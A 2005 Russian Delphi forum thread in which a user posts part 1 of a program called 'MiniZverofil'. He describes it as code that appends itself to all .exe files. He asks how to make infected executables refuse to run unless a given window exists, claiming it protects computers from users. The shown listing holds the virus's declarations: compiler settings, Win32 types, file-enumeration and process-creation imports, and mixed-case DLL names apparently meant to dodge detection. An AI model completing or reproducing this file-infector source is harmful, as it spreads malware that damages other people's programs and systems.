![]() |
| ||
|
|
Новости |
Поиск |
FAQ |
Статьи |
Книги |
Новости VCL
| | Форумы ЧАТ |
Орешник |
|
| |||
| |||
« предыдущая ветвь | форум | следующая ветвь »
Проблема при работе с файлами, не получается правильно дописывать [D6, D7, Win95/98, WinXP]
ArchValentin © (2005-03-06 05:37:00)Здарова народ, подскажите pls. Вот у мя есть такой код (см. ниже). Так вот он дописывает во все exe'шники свой код. Подскажите pls что нужно написать в процедуре MakeIt чтобы exe'шник при запуске проверял наличие определённого окна, и если не найденно то не запускалась??? Пытался FindWindows, компелируется нормально, а работать не хочет.
ps модераторы, не удаляйте данную ветвь, пишу прогу для защиты компов от юзеров
ArchValentin (2005-03-06 05:39:00) [21]Листинг. Часть 1
{$A8,B-,C-,D+,E-,F-,G+,H+,I+,J-,K-,L-,M-,N+,O+,P+,Q-,R-,S-,T-,U-,V+,W-,X+,Y-,Z1}
{$MINSTACKSIZE $00004000}
{$MAXSTACKSIZE $00100000}
{$IMAGEBASE $00400000}
{$APPTYPE GUI}
{$WARN SYMBOL_DEPRECATED OFF}
{$WARN SYMBOL_LIBRARY OFF}
{$WARN SYMBOL_PLATFORM OFF}
{$WARN UNIT_LIBRARY OFF}
{$WARN UNIT_PLATFORM OFF}
{$WARN UNIT_DEPRECATED OFF}
{$WARN HRESULT_COMPAT OFF}
{$WARN HIDING_MEMBER OFF}
{$WARN HIDDEN_VIRTUAL OFF}
{$WARN GARBAGE OFF}
{$WARN BOUNDS_ERROR OFF}
{$WARN ZERO_NIL_COMPAT OFF}
{$WARN STRING_CONST_TRUNCED OFF}
{$WARN FOR_LOOP_VAR_VARPAR OFF}
{$WARN TYPED_CONST_VARPAR OFF}
{$WARN ASG_TO_TYPED_CONST OFF}
{$WARN CASE_LABEL_RANGE OFF}
{$WARN FOR_VARIABLE OFF}
{$WARN CONSTRUCTING_ABSTRACT OFF}
{$WARN COMPARISON_FALSE OFF}
{$WARN COMPARISON_TRUE OFF}
{$WARN COMPARING_SIGNED_UNSIGNED OFF}
{$WARN COMBINING_SIGNED_UNSIGNED OFF}
{$WARN UNSUPPORTED_CONSTRUCT OFF}
{$WARN FILE_OPEN OFF}
{$WARN FILE_OPEN_UNITSRC OFF}
{$WARN BAD_GLOBAL_SYMBOL OFF}
{$WARN DUPLICATE_CTOR_DTOR OFF}
{$WARN INVALID_DIRECTIVE OFF}
{$WARN PACKAGE_NO_LINK OFF}
{$WARN PACKAGED_THREADVAR OFF}
{$WARN IMPLICIT_IMPORT OFF}
{$WARN HPPEMIT_IGNORED OFF}
{$WARN NO_RETVAL OFF}
{$WARN USE_BEFORE_DEF OFF}
{$WARN FOR_LOOP_VAR_UNDEF OFF}
{$WARN UNIT_NAME_MISMATCH OFF}
{$WARN NO_CFG_FILE_FOUND OFF}
{$WARN MESSAGE_DIRECTIVE OFF}
{$WARN IMPLICIT_VARIANTS OFF}
{$WARN UNICODE_TO_LOCALE OFF}
{$WARN LOCALE_TO_UNICODE OFF}
{$WARN IMAGEBASE_MULTIPLE OFF}
{$WARN SUSPICIOUS_TYPECAST OFF}
{$WARN PRIVATE_PROPACCESSOR OFF}
{$WARN UNSAFE_TYPE OFF}
{$WARN UNSAFE_CODE OFF}
{$WARN UNSAFE_CAST OFF}
program MiniZverofil;
const
kernel32='kErNeL32.DlL';
oleaut32='OlEaUt32.dLl';
type
_FILETIME = record
dwLowDateTime: Cardinal;
dwHighDateTime: Cardinal;
end;
_WIN32_FIND_DATAA = record
dwFileAttributes: Cardinal;
ftCreationTime: _FileTime;
ftLastAccessTime: _FileTime;
ftLastWriteTime: _FileTime;
nFileSizeHigh: Cardinal;
nFileSizeLow: Cardinal;
dwReserved0: Cardinal;
dwReserved1: Cardinal;
cFileName: array[0..259] of AnsiChar;
cAlternateFileName: array[0..13] of AnsiChar;
end;
_STARTUPINFOA = record
cb: Cardinal;
lpReserved: Pointer;
lpDesktop: Pointer;
lpTitle: Pointer;
dwX: Cardinal;
dwY: Cardinal;
dwXSize: Cardinal;
dwYSize: Cardinal;
dwXCountChars: Cardinal;
dwYCountChars: Cardinal;
dwFillAttribute: Cardinal;
dwFlags: Cardinal;
wShowWindow: Word;
cbReserved2: Word;
lpReserved2: PByte;
hStdInput: Cardinal;
hStdOutput: Cardinal;
hStdError: Cardinal;
end;
_PROCESS_INFORMATION = record
hProcess: Cardinal;
hThread: Cardinal;
dwProcessId: Cardinal;
dwThreadId: Cardinal;
end;
function SysAllocStringByteLen(psz: PChar; len: Integer): pointer;
stdcall;external oleaut32 name 'SysAllocStringByteLen';
function SysFreeString(psz: pointer): Cardinal;
stdcall;external oleaut32 name 'SysFreeString';
function CreateFile(lpFileName: PChar; dwDesiredAccess, dwShareMode: Cardinal;
lpSecurityAttributes: Pointer; dwCreationDisposition, dwFlagsAndAttributes: Cardinal;
hTemplateFile: Cardinal): Cardinal; stdcall;external kernel32 name 'CreateFileA';
function GetFileSize(hFile: Cardinal; lpFileSizeHigh: Pointer): Cardinal; stdcall;
external kernel32 name 'GetFileSize';
function CloseHandle(hObject: Cardinal): BOOLean; stdcall;
external kernel32 name 'CloseHandle';
function ReadFile(hFile: Cardinal; var Buffer; nNumberOfBytesToRead: Cardinal;
var lpNumberOfBytesRead: Cardinal; lpOverlapped: Pointer): BOOLean; stdcall;
external kernel32 name 'ReadFile';
function FindFirstFile(lpFileName: PAnsiChar; var lpFindFileData: _WIN32_Find_DataA): Cardinal; stdcall;
external kernel32 name 'FindFirstFileA';
function WriteFile(hFile: Cardinal; const Buffer; nNumberOfBytesToWrite: Cardinal;
var lpNumberOfBytesWritten: Cardinal; lpOverlapped: Pointer): BOOLean; stdcall;
external kernel32 name 'WriteFile';
function FindNextFile(hFindFile: Cardinal; var lpFindFileData: _WIN32_Find_Dataa): BOOLean; stdcall;
external kernel32 name 'FindNextFileA';
procedure GetStartupInfo(var lpStartupInfo: _StartupInfoA); stdcall;
external kernel32 name 'GetStartupInfoA';
function CreateProcess(lpApplicationName: PChar; lpCommandLine: PChar;
lpProcessAttributes, lpThreadAttributes: Pointer;
bInheritHandles: BOOLean; dwCreationFlags: Cardinal; lpEnvironment: Pointer;
lpCurrentDirectory: PChar; const lpStartupInfo: _StartupInfoA;
var lpProcessInformation: _Process_Information): BOOLean; stdcall;
external kernel32 name 'CreateProcessA';